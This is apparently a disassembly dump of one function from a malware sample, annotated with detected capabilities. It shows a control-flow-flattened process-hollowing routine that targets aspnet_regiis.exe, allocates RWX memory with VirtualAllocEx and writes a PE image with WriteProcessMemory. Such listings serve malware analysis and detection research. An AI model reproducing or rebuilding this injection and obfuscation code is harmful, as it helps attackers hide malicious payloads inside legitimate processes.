Function at 0x100031b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x124
mov eax, dword [0x1003a600]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x126], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x125], al
mov dword [ebp - 0x12c], 0x12147eee
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x130], eax
sub eax, 0x8019165d
je 0x100099e8
jmp 0x10003223
mov eax, dword [ebp - 0x130]
sub eax, 0x82829b6f
je 0x1000a300
jmp 0x10003239
mov eax, dword [ebp - 0x130]
sub eax, 0x82a47e67
je 0x1000a435
jmp 0x1000324f
mov eax, dword [ebp - 0x130]
sub eax, 0x830cd912
je 0x10005af0
jmp 0x10003265
mov eax, dword [ebp - 0x130]
sub eax, 0x83701d88
je 0x10009f83
jmp 0x1000327b
mov eax, dword [ebp - 0x130]
sub eax, 0x83c7b2ed
je 0x10008e2e
jmp 0x10003291
mov eax, dword [ebp - 0x130]
sub eax, 0x840b8e92
je 0x1000b145
jmp 0x100032a7
mov eax, dword [ebp - 0x130]
sub eax, 0x84a0ba84
je 0x1000b60d
jmp 0x100032bd
mov eax, dword [ebp - 0x130]
sub eax, 0x854045a2
je 0x1000aa9f
jmp 0x100032d3
mov eax, dword [ebp - 0x130]
sub eax, 0x8551f76c
je 0x10007215
jmp 0x100032e9
mov eax, dword [ebp - 0x130]
sub eax, 0x85c54a72
je 0x1000614f
jmp 0x100032ff
mov eax, dword [ebp - 0x130]
sub eax, 0x860fe5a2
je 0x100097e5
jmp 0x10003315
mov eax, dword [ebp - 0x130]
sub eax, 0x86d84287
je 0x1000a3e4
jmp 0x1000332b
mov eax, dword [ebp - 0x130]
sub eax, 0x87b777dd
je 0x100074c8
jmp 0x10003341
mov eax, dword [ebp - 0x130]
sub eax, 0x87f1a05a
je 0x10007dd4
jmp 0x10003357
mov eax, dword [ebp - 0x130]
sub eax, 0x88462c35
je 0x10008aba
jmp 0x1000336d
mov eax, dword [ebp - 0x130]
sub eax, 0x8914be29
je 0x1000887e
jmp 0x10003383
mov eax, dword [ebp - 0x130]
sub eax, 0x8a5c65e6
je 0x10009c16
jmp 0x10003399
mov eax, dword [ebp - 0x130]
sub eax, 0x8b66cbed
je 0x10006d76
jmp 0x100033af
mov eax, dword [ebp - 0x130]
sub eax, 0x8b8d9282
je 0x100078f8
jmp 0x100033c5
mov eax, dword [ebp - 0x130]
sub eax, 0x8bcd4fdd
je 0x10006038
jmp 0x100033db
mov eax, dword [ebp - 0x130]
sub eax, 0x8dab390f
je 0x10006e5e
jmp 0x100033f1
mov eax, dword [ebp - 0x130]
sub eax, 0x8e0ec90b
je 0x10008b80
jmp 0x10003407
mov eax, dword [ebp - 0x130]
sub eax, 0x8ee18b00
je 0x1000630a
jmp 0x1000341d
mov eax, dword [ebp - 0x130]
sub eax, 0x8fe7c80d
je 0x1000915b
jmp 0x10003433
mov eax, dword [ebp - 0x130]
sub eax, 0x90b5162e
je 0x100077e1
jmp 0x10003449
mov eax, dword [ebp - 0x130]
sub eax, 0x919d73dc
je 0x10008dcc
jmp 0x1000345f
mov eax, dword [ebp - 0x130]
sub eax, 0x924eca12
je 0x1000a48d
jmp 0x10003475
mov eax, dword [ebp - 0x130]
sub eax, 0x932c86ec
je 0x1000afa0
jmp 0x1000348b
mov eax, dword [ebp - 0x130]
sub eax, 0x93c83ecc
je 0x10005d0c
jmp 0x100034a1
mov eax, dword [ebp - 0x130]
sub eax, 0x94805b56
je 0x1000706e
jmp 0x100034b7
mov eax, dword [ebp - 0x130]
sub eax, 0x9544646e
je 0x1000b5fe
jmp 0x100034cd
mov eax, dword [ebp - 0x130]
sub eax, 0x9549c6a5
je 0x1000b589
jmp 0x100034e3
mov eax, dword [ebp - 0x130]
sub eax, 0x95afe63f
je 0x1000833b
jmp 0x100034f9
mov eax, dword [ebp - 0x130]
sub eax, 0x95ec9043
je 0x1000b4a2
jmp 0x1000350f
mov eax, dword [ebp - 0x130]
sub eax, 0x973b59fb
je 0x1000addd
jmp 0x10003525
mov eax, dword [ebp - 0x130]
sub eax, 0x9975cb4d
je 0x10009e6c
jmp 0x1000353b
mov eax, dword [ebp - 0x130]
sub eax, 0x99857a69
je 0x1000615e
jmp 0x10003551
mov eax, dword [ebp - 0x130]
sub eax, 0x9ad30dd2
je 0x10007eb3
jmp 0x10003567
mov eax, dword [ebp - 0x130]
sub eax, 0x9c43831a
je 0x1000999f
jmp 0x1000357d
mov eax, dword [ebp - 0x130]
sub eax, 0x9d396b19
je 0x10006eae
jmp 0x10003593
mov eax, dword [ebp - 0x130]
sub eax, 0x9d3a8ff5
je 0x10007e75
jmp 0x100035a9
mov eax, dword [ebp - 0x130]
sub eax, 0x9daa0dc9
je 0x1000ba69
jmp 0x100035bf
mov eax, dword [ebp - 0x130]
sub eax, 0x9de3d8cf
je 0x10006f92
jmp 0x100035d5
mov eax, dword [ebp - 0x130]
sub eax, 0x9e9d01e4
je 0x10005ed4
jmp 0x100035eb
mov eax, dword [ebp - 0x130]
sub eax, 0x9eaf84af
je 0x1000a757
jmp 0x10003601
mov eax, dword [ebp - 0x130]
sub eax, 0x9efdb7d2
je 0x10008785
jmp 0x10003617
mov eax, dword [ebp - 0x130]
sub eax, 0x9f30e4ce
je 0x10006cf6
jmp 0x1000362d
mov eax, dword [ebp - 0x130]
sub eax, 0x9fabde85
je 0x1000a26c
jmp 0x10003643
mov eax, dword [ebp - 0x130]
sub eax, 0xa1a8869d
je 0x1000a64d
jmp 0x10003659
mov eax, dword [ebp - 0x130]
sub eax, 0xa1c00619
je 0x10007bc6
jmp 0x1000366f
mov eax, dword [ebp - 0x130]
sub eax, 0xa225d93a
je 0x10009ff2
jmp 0x10003685
mov eax, dword [ebp - 0x130]
sub eax, 0xa23a23fb
je 0x1000a3a2
jmp 0x1000369b
mov eax, dword [ebp - 0x130]
sub eax, 0xa296217b
je 0x1000ac18
jmp 0x100036b1
mov eax, dword [ebp - 0x130]
sub eax, 0xa29d0bbe
je 0x100096d5
jmp 0x100036c7
mov eax, dword [ebp - 0x130]
sub eax, 0xa3902415
je 0x100063f8
jmp 0x100036dd
mov eax, dword [ebp - 0x130]
sub eax, 0xa3b7f6bd
je 0x10008826
jmp 0x100036f3
mov eax, dword [ebp - 0x130]
sub eax, 0xa3c80762
je 0x10007b67
jmp 0x10003709
mov eax, dword [ebp - 0x130]
sub eax, 0xa3ce5e42
je 0x10009c8c
jmp 0x1000371f
mov eax, dword [ebp - 0x130]
sub eax, 0xa3ee9e0c
je 0x1000bbd4
jmp 0x10003735
mov eax, dword [ebp - 0x130]
sub eax, 0xa498b31a
je 0x10005a01
jmp 0x1000374b
mov eax, dword [ebp - 0x130]
sub eax, 0xa49e514a
je 0x1000ae5c
jmp 0x10003761
mov eax, dword [ebp - 0x130]
sub eax, 0xa58b23fa
je 0x100061e1
jmp 0x10003777
mov eax, dword [ebp - 0x130]
sub eax, 0xa5f5b161
je 0x1000894b
jmp 0x1000378d
mov eax, dword [ebp - 0x130]
sub eax, 0xa6ce9a38
je 0x1000b61c
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10018220]
movss dword [eax], xmm0
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x567c8617
mov ecx, 0x675b0aed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x1001821c]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xfea73e5b
sub edx, 1
add edx, 0xfea73e5b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd7923669
mov ecx, 0xaee744c8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf15f4fb8
mov ecx, 0x70ab2dce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10018390]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x113eb274
jmp 0x1000bbed
mov dl, 1
mov eax, 0x99857a69
mov ecx, 0xee87433b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0x99857a69
jmp 0x1000bbed
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10018380]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x1001837c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10018378]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x5747b27d
jmp 0x1000bbed
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0xc941b287
sub edx, 1
sub edx, 0xc941b287
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x78266bfd
mov ecx, 0xd0f6de98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10018204]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe233614a
mov ecx, 0xdff0c2b9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x55af8175
sub edx, 1
add edx, 0x55af8175
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2105882a
mov ecx, 0x1acba30d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018340]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x3aeaf866
jmp 0x1000bbed
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10018334]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x3fcc7e11
jmp 0x1000bbed
mov dl, 1
mov eax, 0x72beab26
mov ecx, 0x165cdea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb080b7a
mov ecx, 0x519ce338
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0x72beab26
jmp 0x1000bbed
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100181e4]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc2223c57
mov ecx, 0x73b36163
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0x7cdf5654
jmp 0x1000bbed
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4876f9e1
mov ecx, 0xe7c419ee
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov dl, 1
mov eax, 0xaba34ec6
mov ecx, 0xf5f028dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0xaba34ec6
jmp 0x1000bbed
mov dl, 1
mov eax, 0xa1c00619
mov ecx, 0x342241b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100182d0]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xd17a6302
jmp 0x1000bbed
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100182c8]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xbe972e23
jmp 0x1000bbed
mov dl, 1
mov eax, 0xbf8e0c07
mov ecx, 0x10a9ed6e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100182b4]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xbf8e0c07
jmp 0x1000bbed
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x100181bc]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xa1013224
sub edx, 1
add edx, 0xa1013224
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe26263af
mov ecx, 0x41164fe5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov dl, 1
mov eax, 0x8914be29
mov ecx, 0x181ac60d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x66b2d1db
mov ecx, 0x396b8fac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001827c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0x6a68b9d0
jmp 0x1000bbed
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100181a4]
movss dword [eax], xmm0
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0xafb4340e
sub edx, 1
sub edx, 0xafb4340e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3553b70f
mov ecx, 0x724c0f70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov dl, 1
mov eax, 0xc3b09f76
mov ecx, 0x1cecedcc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
add edx, 0x91884b5f
sub edx, 1
sub edx, 0x91884b5f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84a0ba84
mov ecx, 0x50e080dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10018254]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10018250]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001824c]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xb2f51cd7
jmp 0x1000bbed
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10018248]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10018244]
movss dword [eax], xmm0
mov dword [ebp - 0x12c], 0xb0b0c171
jmp 0x1000bbed
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0xb14bf82a
sub edx, 1
add edx, 0xb14bf82a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd68f4fba
mov ecx, 0xec99f67f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0x43707992
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0xfa9c1e78
jmp 0x1000bbed
mov eax, dword [ebp - 0xe8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0x152352ce
jmp 0x1000bbed
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0xdc508a65
sub edx, 1
add edx, 0xdc508a65
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfab121cb
mov ecx, 0x5a8cc45b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x869af876
sub edx, 1
sub edx, 0x869af876
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbf9953a9
mov ecx, 0xa3ce5e42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x94]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xf4]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbf9953a9
mov ecx, 0xe879de97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x104]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xe0]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf4]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xd8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x18
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ax, word [eax + 0x14]
mov word [ebp - 0x7e], ax
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
add edx, 0x37a99f37
sub edx, 1
sub edx, 0x37a99f37
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa9ee589d
mov ecx, 0x83701d88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov dword [ebp - 0x12c], 0xb91ae6db
jmp 0x1000bbed
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
add eax, 4
add eax, 2
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x12c], 0x5388d3b5
jmp 0x1000bbed
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov esi, dword [ebp - 0x64]
add esi, 0x2e3b07a8
add esi, eax
sub esi, 0x2e3b07a8
mov edx, dword [ebp - 0x68]
mov eax, 0xdfe13404
mov ecx, 0xcc8349f9
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0x60]
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0xdfe13404
jmp 0x1000bbed
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x12c], 0xa9a8ed7e
jmp 0x1000bbed
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0xb04d9a74
sub edx, 1
add edx, 0xb04d9a74
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2fb3ec98
mov ecx, 0x82a47e67
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2fb3ec98
mov ecx, 0x2f304bb5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0x4d], al
mov dword [ebp - 0x12c], 0x66d19441
jmp 0x1000bbed
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe9d2b957
mov ecx, 0x11d4cee8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x12c], 0x1cbfc35e
jmp 0x1000bbed
mov ecx, dword [0x1003b928]
mov eax, dword [0x1003b924]
mov edx, ecx
sub edx, 0x15b522bc
sub edx, 1
add edx, 0x15b522bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc4cb2993
mov ecx, 0xf56cff31
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0xb4]
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
mov eax, dword [0x1003b928]
mov ecx, dword [0x1003b924]
mov edx, eax
sub edx, 0xcfa7610e
sub edx, 1
add edx, 0xcfa7610e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb0e59c10
mov ecx, 0x1c4acc87
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x12c], eax
jmp 0x1000bbed
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x20]
add ecx, 0x3a18c8cd
add ecx, eax
sub ecx, 0x3a18c8cd
mov eax, dword [ebp - 0xd0]
